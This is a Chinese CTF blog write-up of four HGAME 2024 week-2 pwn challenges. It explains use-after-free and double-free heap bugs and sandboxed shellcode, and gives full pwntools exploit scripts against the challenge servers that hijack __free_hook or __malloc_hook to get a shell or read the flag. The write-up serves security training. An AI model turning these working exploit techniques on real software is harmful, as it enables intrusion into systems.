hgame_week2_pwn题解

发表于 2024-02-13 | 更新于 2024-02-13

| 阅读量: 2

EldenRing 2

简单的uaf,因为寒假才刚开始入门堆，所以写得稍微详细点。先看看伪c,

C

```c
// local variable allocation has failed, the outpu
int __cdecl main(int argc, const char **argv, cons
{
  int v4; // [rsp+1Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  while ( 1 )
  {
    menu(*(_QWORD *)&argc);
    *(_QWORD *)&argc = "%d";
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        add_note();
        break;
```

k0rian

没人？打个胶先

文章 标签 分类

4 1 0

Follow Me

公告

This is my Blog

目录 0

```
17          case 2:
18            delete_note("%d", &v4);
19            break;
20          case 3:
21            edit_note();
22            break;
23          case 4:
24            show_note();
25            break;
26          case 5:
27            exit(0);
28          default:
29            *(_QWORD *)&argc = "Wrong choice!";
30            puts("Wrong choice!");
31            break;
32        }
33      }
```

查看逻辑发现，free掉后指针没有释放，且free后仍然可以edit和show。free掉后可以用edit函数来改掉chunk的bk指针来实现一次任意地址写，在这之前我们可以先想办法把free掉的chunk放进unsorted_bins中，unsortedbins中的第一个chunk的bk指针是一个libc相关的地址，然后我们用show函数把其中的内容泄露出来，就可以拿到libc的基址，随后再利用uaf去劫持free_hook or malloc_hook(个人比较喜欢free_hook,这样传参比较方便，当然如果有满足条件的one_gadget也可以用malloc_hook)。由于tcachebins的存在我们需要先把tcachebins填满。

edit 和 show函数

C

```
1   int edit_note()
2 {
3   unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF
4
5   printf("Index: ");
6   __isoc99_scanf("%u", &v1);
7   if ( v1 > 0xF )
8     return puts("There are only 16 pages in this n
9   if ( !notes[v1] )
10    return puts("Page not found.");
11  printf("Content: ");
12  return read(0, (void *)notes[v1], note_size[v1])
```


最新文章

hgame_week2_pwn题解
2024-02-13

hgame_week1_pwn题解
2024-02-11

强网杯ez_fmt复现
2024-01-26

HackNote
2024-01-17

```
}

int show_note()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
    return puts("There are only 16 pages in this n
  if ( notes[v1] )
    return puts((const char *)notes[v1]);
  return puts("Page not found.");
}
```

那么怎么让chunk被加入到unsortedbins中呢，这里只需要让两个物理相邻的chunk的状态不同就可以了,即一个chunk被占用，另一个chunk处于空闲状态。

示例代码

C

```c
int main(){
    char *a=malloc(0x50);
    char *b=malloc(0x50);
    free(a);
    return 0;
}
```

理解攻击原理之后，攻击就变得很简单了，只需要利用uaf漏洞将任意一个chunk的bk，指针改为free_hook的地址，malloc分配到free_hook后，把free_hook中的内容改为system的地址，随后再传给free函数一个"/bin/sh",这样程序就会去执行system函数，弹出一个shell

exp:

PYTHON

```python
from pwn import *
#p=process("./vuln")
p=remote("47.100.137.175",32044)
elf=ELF("./vuln")
def add_note(index,size):
        p.sendlineafter(">",str(1))
```

```
        p.sendlineafter("Index: ",str(index))
        p.sendlineafter("Size: ",str(size))
def delete_note(index):
        p.sendlineafter(">",str(2))
        p.sendlineafter("Index: ",str(index))
def edit_note(index,payload):
        p.sendlineafter(">",str(3))
        p.sendlineafter("Index: ",str(index))
        p.sendafter("Content: ",payload)
        sleep(0.25)
def show_note(index):
        p.sendlineafter(">",str(4))
        p.sendlineafter("Index: ",str(index))
def exit():
        p.sendlineafter(">",str(5))
for i in range(9):
        add_note(i,0xa0)
for i in range(8):
        delete_note(i)
#gdb.attach(p)
show_note(7)
#gdb.attach(p)
main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
print(hex(main_arena))
offset=0x1ecbe0
libc_base=main_arena-offset
print(hex(libc_base))
libc=ELF("./libc.so.6")
system=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]
payload=p64(free_hook)+0x98*b"\x00"
edit_note(6,payload)
#gdb.attach(p)
add_note(9,0xa0)
add_note(10,0xa0)
edit_note(9,b"/bin/sh\x00")
payload=p64(system)
edit_note(10,payload)
delete_note(9)
p.interactive()
#exit()
```

Shellcode Master

先看看汇编

PLAINTEXT

```
buf= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     eax, 0
call    init
mov     eax, 0
call    sandbox
mov     r9d, 0          ; offset
mov     r8d, 0FFFFFFFFh ; fd
mov     ecx, 22h ; '"'  ; flags
mov     edx, 7          ; prot
mov     esi, 1000h      ; len
mov     edi, 2333000h   ; addr
mov     eax, 0
call    _mmap
cdqe
mov     [rbp+buf], rax
lea     rax, s          ; "I heard that a super sh
mov     rdi, rax        ; s
call    _puts
mov     rax, [rbp+buf]
mov     edx, 16h        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
mov     eax, 0
call    _read
lea     rax, large cs:402064h ; "Love!"
mov     rdi, rax        ; s
call    _puts
mov     rax, [rbp+buf]
mov     edx, 4          ; prot
mov     esi, 1000h      ; len
mov     rdi, rax        ; addr
mov     eax, 0
call    _mprotect
mov     r15, 2333000h
mov     rax, 2333h
mov     rbx, 2333h
mov     rcx, 2333h
mov     rdx, 2333h
mov     rsp, 2333h
```

```
mov     rbp, 2333h
mov     rsi, 2333h
mov     rdi, 2333h
mov     r8, 2333h
mov     r9, 2333h
mov     r10, 2333h
mov     r11, 2333h
mov     r12, 2333h
mov     r13, 2333h
mov     r14, 2333h
jmp     r15
main endp
```

程序开了沙箱，禁用了execve,只能orw了，程序的逻辑很好懂，就是限了长度的shellcode,想想就知道想用0x16个字节完成orw几乎不可能，我们不妨换个思路，刚开始想的是执行完一次shellcode后再jmp到call read函数处，再read一遍，但尴尬的是rsp,rbp都被置为2333h,这么低的地址如果往里面push的话必然触发保护，并且在执行完mprotect函数后，0x2333000h就没有读写权限了，这条路子也行不通，想来想去比较可行的只有用0x16个字节实现mprotect和read这两个syscall了~~(凑字节的过程异常痛苦)~~,还有一点比较关键，就是read的位置，我们执行完mprotect后，rcx寄存器的值刚好合适，我们把它设为read的起始地址，还可以省下几个字节。

exp

PYTHON

```python
from pwn import *
context(arch="amd64")
#p=process("./vuln")
p=remote("106.14.57.14",31332)
shellcode='''
        mov ax,10
        shl edi,12
        mov dx,0xf
        syscall
        xor eax,eax
        xor edi,edi
        mov esi,ecx
        syscall
'''
shellcode=asm(shellcode)
```

```
16
17  print(len(shellcode))
18  p.sendafter("shellcode\n",shellcode)
19  #sleep(0.125)
20  #shellcode=shellcraft.open("./flag")
21  #payload=asm(shellcode)
22  payload=asm("nop")*(0x2333015-0x233300d+1)
23  shellcode='''
24          mov dl, 0xff
25          mov al, 0
26          syscall
27  '''
28
29  payload+=asm(shellcode)
30  print(len(payload))
31  p.send(payload)
32  payload=asm("nop")*0x10
33  shellcode='''
34          xor rax,rax
35          xor rdi,rdi
36          mov rsi,r15
37          syscall
38
39          mov rax, 2
40          mov rdi, r15
41          xor rsi, rsi
42          xor rdx, rdx
43          syscall
44
45          xor rax,rax
46          mov rdi, 3
47          mov rsi, r15
48          mov rdx, 0x50
49          syscall
50
51          mov rax, 1
52          mov rdi, 1
53          mov rsi, r15
54          mov rdx, 0x50
55          syscall
56  '''
57  payload+=asm(shellcode)
58  p.send(payload)
59  flag=b"./flag\x00"
60  #gdb.attach(p)
61  p.send(flag)
```

```
#pause()
p.interactive()
```

fastnotes

double free,这里的fastnotes检查比较宽松，避开fastbins的第一个chunk去free就可以了。

C

```c
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  void *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else
  {
    v2 = (void *)notes[v1];
    if ( v2 )
    {
      free(v2);
      v2 = 0LL;
    }
    else
    {
      puts("No such note.");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}
```

这里还做了个障眼法，这个ptr是个局部变量，不成问题。double free后继续劫持free_hook

exp

PYTHON

```python
from pwn import *
#p=process("./vuln")
p=remote("106.15.72.34",32534)
#p=remote("47.100.137.175",32044)
#elf=ELF("./vuln")
def add_note(index,size,payload):
        p.sendlineafter("Your choice:",str(1))
        p.sendlineafter("Index: ",str(index))
        p.sendlineafter("Size: ",str(size))
        p.sendlineafter("Content: ",payload)
def delete(index):
        p.sendlineafter("Your choice:",str(3))
        p.sendlineafter("Index: ",str(index))
def show(index):
        p.sendlineafter("Your choice:",str(2))
        p.sendlineafter("Index: ",str(index))
def exit():
        p.sendlineafter("Your choice:",str(4))
for i in range(9):
        add_note(i,0x80,b"114514")
for i in range(8):
        delete(i)
#gdb.attach(p)
show(7)
main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
print(hex(main_arena))
offset=0x1ecbe0
libc_base=main_arena-offset
print(hex(libc_base))
delete(8)
for i in range(9):
        add_note(i,0x50,b"114514")
for i in range(9):
        delete(i)
#gdb.attach(p)
delete(7)
for i in range(7):
        add_note(i,0x50,b"114514")
#gdb.attach(p)
#add_note(7,0x50,b"114514")
libc=ELF("./libc-2.31.so")
free_hook=libc.sym["__free_hook"]+libc_base
system=libc.sym["system"]+libc_base
add_note(7,0x50,p64(free_hook))
add_note(8,0x50,b"aaaa")
add_note(9,0x50,b"/bin/sh\x00")
```

```
add_note(10,0x50,p64(system))
delete(9)
#gdb.attach(p)
#gdb.attach(p)
p.interactive()
```

old_fastnotes

这个版本的glibc在分配fastbins中的chunk时会对size位做检查，检查这个chunk属不属于fastbins,这里还是比较棘手的，不过上网查了下绕过姿势，可以double free后把bk指针改到malloc_hook-0x23的位置来绕过这个检查，这样只需要在edit的时候填充指定的数据，再去把malloc_hook改为one_gadget的地址就可以了

exp

PYTHON

```python
from pwn import *
context(arch="amd64",os="linux")
#p=process("./vuln")
p=remote("106.14.57.14",30577)
elf=ELF("./vuln")
def add_note(index,size,payload):
        p.sendlineafter("Your choice:",str(1))
        p.sendlineafter("Index: ",str(index))
        p.sendlineafter("Size: ",str(size))
        p.sendlineafter("Content: ",payload)
def delete(index):
        p.sendlineafter("Your choice:",str(3))
        p.sendlineafter("Index: ",str(index))
def show(index):
        p.sendlineafter("Your choice:",str(2))
        p.sendlineafter("Index: ",str(index))
def exit():
        p.sendlineafter("Your choice:",str(4))
add_note(0,0x80,b"114514")
add_note(1,0x60,b"114514")
add_note(2,0x60,b"114514")
#gdb.attach(p)
delete(0)
show(0)
main_arena=u64(p.recv(8)[-6:].ljust(8,b"\x00"))
print(hex(main_arena))
offset=0x3c4b78
```

```
libc_base=main_arena-offset
print(hex(libc_base))
libc=ELF("./libc-2.23.so")
#arena=libc.sym["main_arena"]+libc_base
#print(hex(arena))
malloc_hook=libc_base+libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
print(hex(free_hook))
print(hex(malloc_hook))
delete(1)
delete(2)
add_note(0,0x60,b"114514")
add_note(1,0x60,b"114514")
#add_note(2,0x60,b"114514")
delete(0)
delete(1)
delete(0)
#gdb.attach(p)
#note3=0x602060+0x8*3
one_gadget=libc_base+0xf1247
add_note(2,0x60,p64(malloc_hook-0x23))
#gdb.attach(p)
add_note(3,0x60,b"114514")
add_note(4,0x60,b"114514")
#gdb.attach(p)
payload=b"a"*0x13+p64(one_gadget)
#add_note(10,0x68,b"114514")
add_note(3,0x68,payload)
#gdb.attach(p)
#add_note(3,0x68,b"114514")
#add_note(5,0x80,b"114514")
p.sendlineafter("Your choice:",str(1))
p.sendlineafter("Index: ", str(5))
p.sendlineafter("Size: ",str(0x80))
#add_note(2,0x70,)
p.interactive()
```

下一篇

hgame_week1_pwn题解